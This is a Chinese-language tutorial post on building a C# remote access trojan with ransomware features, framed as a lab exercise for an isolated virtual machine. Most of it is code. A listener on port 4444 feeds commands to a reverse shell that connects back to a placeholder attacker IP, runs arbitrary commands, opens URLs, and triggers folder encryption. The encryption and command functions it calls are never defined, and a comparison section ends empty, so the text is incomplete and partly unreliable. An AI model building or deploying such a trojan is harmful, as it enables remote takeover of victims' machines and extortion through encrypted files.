在資訊安全領域,「木馬程式(Remote Access Trojan)」與「勒索軟體(Ransomware)」是攻擊者常用的惡意武器。木馬程式透過偷偷控制受害電腦,執行任意指令;勒索軟體則會加密受害者重要資料,逼迫支付贖金解鎖。
本篇文章示範如何用 C# 在 Windows 虛擬機中,實作一個能遠端控制的簡易木馬程序,並結合勒索軟體功能,讓你能親手體驗遠端操控、發動檔案加密到解密的完整攻防流程。重點是學習攻擊原理與防禦思維,務必在隔離的虛擬環境中操作。
// 攻擊端程式核心
TcpListener listener = new TcpListener(IPAddress.Any, 4444);
listener.Start();
var client = listener.AcceptTcpClient();
var stream = client.GetStream();
while (true)
{
Console.Write("cmd> ");
string cmd = Console.ReadLine();
if (string.IsNullOrEmpty(cmd)) break;
 byte[] data = Encoding.UTF8.GetBytes(cmd);
stream.Write(data, 0, data.Length);
byte[] buffer = new byte[4096];
int bytesRead = stream.Read(buffer, 0, buffer.Length);
string response = Encoding.UTF8.GetString(buffer, 0, bytesRead);
Console.WriteLine(response);
}
stream.Close();
client.Close();
listener.Stop();
用 TcpClient 連回攻擊端 IP 與 port
持續監聽攻擊端指令,判斷並執行:
回傳執行結果給攻擊端
using System;
using System.Net.Sockets;
using System.Text;
using System.Diagnostics;
using System.IO;
using System.Security.Cryptography;
class ReverseShell
{
static void Main()
{
using TcpClient client = new TcpClient("攻擊端IP", 4444);
using NetworkStream stream = client.GetStream();
byte[] buffer = new byte[4096];
    while (true)
    {
        int bytesRead = stream.Read(buffer, 0, buffer.Length);
        if (bytesRead == 0) break;
        string cmd = Encoding.UTF8.GetString(buffer, 0, bytesRead).Trim();
        string output;
        if (cmd.StartsWith("open "))
        {
            string url = cmd.Substring(5);
            Process.Start(new ProcessStartInfo { FileName = url, UseShellExecute = true });
            output = $"已開啟網頁 {url}";
        }
        else if (cmd.StartsWith("encrypt "))
        {
            EncryptFolder(cmd.Substring(8));
            output = "資料夾加密完成";
        }
        else if (cmd.StartsWith("decrypt "))
        {
            DecryptFolder(cmd.Substring(8));
            output = "資料夾解密完成";
        }
        else
        {
            output = ExecuteCommand(cmd);
        }
        byte[] outBytes = Encoding.UTF8.GetBytes(output);
        stream.Write(outBytes, 0, outBytes.Length);
    }
}
}
本篇用 C# 打造簡易木馬與勒索軟體模擬器,搭配虛擬機完整演練,幫助你深入理解惡意軟體運作機制與遠端控制/加密流程!
木馬程式(Remote Access Trojan,RAT)和勒索軟體在功能上有明顯的區別:
來源
https://www.ithome.com.tw/news/170093
https://blog.csdn.net/qq15577969/article/details/108685714
https://www.pcschool.com.tw/blog/it/what-is-virus
https://topic.alibabacloud.com/tc/a/use-c--to-write-a-trojan-program_1_31_32327433.html